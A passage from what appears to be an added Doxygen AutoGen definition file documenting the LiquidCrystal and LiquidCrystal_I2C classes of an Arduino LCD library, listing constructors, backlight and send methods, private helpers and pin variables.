<<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '68'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a52a4de3d866e347208a32dfc9d797729'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '86'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a0a0a8dfa7a2e775a031fd65f5c6366ec'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '76'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a8b90122c67a6d14b967c8a11ba490670'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a23124e6dd5ac4a9b6147629b96e91953'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '78'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aff2330186495fde93370d46c0ca2cbf0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '64'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a56142f8b3753bedd133e4139e5eb5089'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '99'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aa2b898366e1c656ac313b9007c98cebd'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '125'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a63740dc1198d8169a39d9c6daff0efc9'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '109'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae45eec827b26174f73e9cf3ddda635af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'fourbitmode'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a44d84c010396c993f124d2feb9dc794d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '152'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a641301bc315a4e167c5aee7ea99993fd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'writeNbits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'numBits'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a23a1807a1fe4210ac7cfca9b779513ea'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '158'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a0b2da39d056aed9940b0525e554668d7'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '157'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1aef7d920abae32b5faa2625ffa3879c4b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '156'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1affd20665bda00d8b0e37d5ee87543e81'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rs_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a29061eaa64c2e9f3b985ff52249b62a9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rw_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + cp-fileline = '45'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 12; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 11; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '12'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 14; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 13; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '14'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c'; + cp-name = 'LiquidCrystal_I2C'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aeee2ada537f0cfbfda8613324b57c4a6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = 